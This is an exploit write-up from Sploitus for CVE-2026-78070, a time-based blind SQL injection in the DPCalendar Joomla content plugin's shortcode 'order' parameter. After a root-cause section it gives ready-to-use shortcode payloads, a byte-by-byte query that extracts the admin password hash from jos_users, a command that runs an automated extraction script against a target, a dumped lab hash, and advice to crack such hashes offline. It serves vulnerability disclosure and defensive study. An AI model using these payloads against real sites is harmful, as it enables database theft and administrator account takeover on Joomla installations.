Sploitus

Exploit for CVE-2026-78070

githubexploit Β· 2026-09-03

Exploit Code

README176 lines
## https://sploitus.com/exploit?id=F8CD6268-C79D-576B-9C8E-10DC7F1ABC58
# SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar

**DPCalendar Free ≀ 10.11.2 β€” Author-level User Extracts Full Database via Time-Based Blind Injection**

![CVE](https://img.shields.io/badge/CVE-CVE--2026--78070-green)
![CVSS](https://img.shields.io/badge/CVSS-6.9-orange)
![CWE-89](https://img.shields.io/badge/CWE--89-SQL_Injection-orange)
![Affected](https://img.shields.io/badge/Affected-1.0.0_–_10.11.2-red)
![Fixed](https://img.shields.io/badge/Fixed-10.12.0-brightgreen)
![Researcher](https://img.shields.io/badge/Researcher-Toan_Le-blue)

---

## SUMMARY

The `plg_content_dpcalendar` content plugin parses `{{#events order="..."}}{{/events}}` shortcodes embedded in Joomla article bodies. The `order` parameter value is passed directly to `EventsModel::setState('list.ordering', ...)`, completely bypassing the model's own `populateState()` whitelist. The value is then inserted into an SQL `ORDER BY` clause protected only by `DatabaseDriver::escape()` β€” insufficient against subquery injection.

An Author-level user who can create or edit articles can exploit this to exfiltrate data from the database via time-based blind SQL injection. The SQLi fires inside the attacker's own article save request β€” no victim interaction, no published article, and no admin involvement required.

---

## AFFECTED VERSIONS

| COMPONENT | VULNERABLE | TESTED ON | FIXED |
| --- | --- | --- | --- |
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |

> **Note:** This vulnerability is distinct from CVE-2026-57831 (unauthenticated SQLi in `EventsModel.php` via `filter_created_by`, fixed in v10.11.2). The present finding affects the content plugin (`plg_content_dpcalendar`) β€” a different file, different parameter, and was unpatched in the latest release at time of discovery.

---

## VULNERABILITY DETAILS

**Type:** SQL Injection (CWE-89) β€” Time-Based Blind  
**Authentication required:** Author role (can create/edit Joomla articles)  
**Endpoint:** `POST /index.php/submit-article?view=form&layout=edit`  
**File:** `plg_content_dpcalendar/src/Extension/DPCalendar.php`

### Root Cause

The plugin's shortcode parser iterates over all key-value parameters in an `{{#events}}` tag and sets model state directly, bypassing `populateState()` whitelist validation entirely:

**PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP β€” VULNERABLE PARAMETER HANDLING**

```php
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VULNERABLE: sets ordering state directly from user input
            // bypasses populateState() whitelist entirely
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}
```

The tainted value flows into `EventsModel::getListQuery()` with only quote-escaping applied β€” insufficient to block subquery injection in an `ORDER BY` context:

**COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 β€” ORDER BY CONSTRUCTION**

```php
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() escapes quotes only β€” does NOT prevent subquery injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
```

A subquery such as `(SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0))` passes through `$db->escape()` unmodified because it contains no quote characters. The resulting SQL becomes:

```sql
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 
```

The `ORDER BY` expression is only evaluated when the result set is non-empty β€” requiring at least one published future DPCalendar event, the standard condition for any active DPCalendar installation.

**Key behavior:** The SQLi fires inside the save/edit POST request itself β€” the timing delay is observable directly in the HTTP response (303 redirect). The attacker measures their own POST response time; no article view, page reload, or publication step is required.

---

## PROOF OF CONCEPT

**Prerequisites:**
- Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
- Author-role account (can create/edit articles)
- `plg_content_dpcalendar` plugin enabled (default on DPCalendar install)
- At least 1 published DPCalendar event with a future `start_date`
- A frontend *Submit Article* menu item created by the administrator

**Scenario: Time-based Blind SQLi β†’ Extract Admin Credentials**

#### 0. Pre-condition β€” at least one published DPCalendar event with a future start date must exist

The plugin sets `filter.state = 1` and `list.start-date = NOW()` before building the query. `ORDER BY` subqueries only execute when the result set contains rows; if 0 rows match, `SLEEP()` is never called.

![](images/s0-precondition-future-event-exists.png)

#### 1. Log in as Author-role user

Authenticate to the Joomla frontend using an Author account. No admin access is required at any point in this attack.

![](images/s1-step1-login-as-author.png)

#### 2. Submit article with TRUE condition payload β€” observe 5-second delay

Navigate to the frontend article submission form (`/submit-article`). Insert the following payload in the article body and click **Save**:

```
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
```

The POST response itself is delayed ~5 seconds. `onContentPrepare` fires during the Joomla save pipeline, invoking the vulnerable query before the 303 redirect is issued. No article view or publication is needed.

![](images/s1-step2-true-condition-5s-delay.png)

#### 3. FALSE condition confirms clean timing differentiation

Replace `1=1` with `1=2` (always false). `SLEEP` is not triggered and the response returns immediately (~100ms), confirming reliable timing separation.

```
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}
```

![](images/s1-step3-false-condition-no-delay.png)

#### 4. Extract admin password hash β€” byte by byte

Use `ASCII(SUBSTRING(...))` comparisons to read each character. Single quotes must be avoided (the shortcode regex `[^"\']*` stops at any quote character); use decimal ASCII values instead:

```
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
```

Response time ~5s β†’ TRUE β†’ `char[1] = '$'` (ASCII 36 β€” first character of a bcrypt `$2y$10$...` hash).

![](images/s1-step4-extract-password-first-char.png)

#### 5. Automated extraction β€” full admin credentials dumped

Run `exploit/exploit.py` to automate the byte-by-byte extraction loop:

```bash
python3 exploit/exploit.py http://TARGET
```

The script logs in as Author, submits crafted payloads, and extracts username, email, and the full 60-character bcrypt password hash. Lab result confirmed: `admin` / `admin@example.com` / `$2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC`.

![](images/s1-step5-automated-script-extraction.png)

| Condition | Response Time |
|-----------|---------------|
| TRUE: `ASCII(SUBSTR(password,1,1))=36` | ~5,000 ms |
| FALSE: `ASCII(SUBSTR(password,1,1))=65` | ~100 ms |

---

## IMPACT

1. **Full database read access** β€” An Author-level user can extract any data from the Joomla database including admin password hashes (`jos_users.password`), session tokens, and user emails via time-based blind SQL injection.
2. **No admin interaction required** β€” The SQLi fires inside the attacker's own article save request. No victim needs to view or interact with any content.
3. **Minimal forensic trace** β€” The malicious article never needs to be published. A draft article (state=0) is sufficient, leaving almost no visible evidence of the attack.
4. **Offline credential cracking** β€” Extracted bcrypt hashes can be cracked offline with Hashcat (mode 3200) or John the Ripper, potentially leading to full administrator account takeover.

---

## REFERENCES

- **CVE:** https://vulners.com/cve/CVE-2026-78070
- **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2026-78070
- **GitHub Advisory:** https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
- **Vendor Repository:** https://github.com/Digital-Peak/DPCalendar-Free